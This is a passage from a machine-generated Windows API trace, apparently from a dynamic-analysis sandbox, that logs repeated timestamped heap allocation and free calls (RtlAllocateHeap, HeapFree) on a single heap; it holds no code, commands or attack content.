dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.952] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.952] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.952] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.952] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.952] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.952] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.952] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0117.952] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.952] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0117.952] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.952] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.952] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.952] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.952] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.952] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.952] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.952] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.952] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.952] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.952] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0117.952] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.952] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.953] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.953] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0117.953] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.953] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.953] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.953] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.953] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.953] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.953] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.953] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.953] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.953] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.953] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.953] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.953] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.953] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.953] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.953] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.953] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.953] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.953] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.953] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.953] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.953] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.953] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.953] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.953] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.953] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.953] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.953] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.953] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.954] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.954] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.954] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.954] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.954] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.954] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.954] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.954] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.954] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.954] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.954] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.954] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.954] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.954] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.954] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.954] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.954] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.954] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.954] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.954] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0117.954] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.954] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0117.954] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.954] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.954] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.954] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.954] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.954] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.954] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.954] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0117.954] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.955] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0117.955] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.955] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.955] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0117.955] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.955] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.955] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.955] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0117.955] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.955] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.955] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.955] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.955] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.955] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.955] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.955] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.955] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.955] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.955] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.955] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.955] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0117.955] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.955] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0117.955] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.955] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.955] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.955] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.955] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.955] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.955] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.955] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.955] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.955] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.956] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.956] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.956] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.956] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.956] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.956] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.956] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.956] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.956] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.956] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.956] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.956] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.956] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.956] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.956] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.956] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.956] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.956] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.956] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.956] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.956] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.956] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.956] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.956] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.956] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.956] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.956] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.956] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.956] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.956] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0117.956] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.956] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0117.957] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.957] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.957] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.957] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.957] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.957] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.957] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0117.957] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.957] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.957] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.957] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0117.957] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.957] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.957] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.957] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.957] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.957] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.957] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.957] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.957] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.957] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.957] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.957] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.957] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0117.957] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.957] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0117.957] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.957] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.957] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.957] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.957] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.958] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.958] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.958] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.958] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.958] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.958] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.958] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.958] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.958] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.958] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.958] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.958] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.958] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.958] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.958] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.958] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.958] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.958] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.958] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.958] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.958] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.958] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.958] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.958] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.958] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.958] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.958] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.958] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.958] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.958] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.958] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.959] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.959] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.959] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.959] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0117.959] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.959] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0117.959] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.959] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.959] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.959] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.959] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.959] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.959] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0117.959] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.959] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.959] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.959] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0117.959] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.959] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.959] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.959] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.959] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.959] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.959] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.959] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.959] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.959] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.959] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.959] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.959] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0117.959] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.959] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0117.960] HeapFree (in: 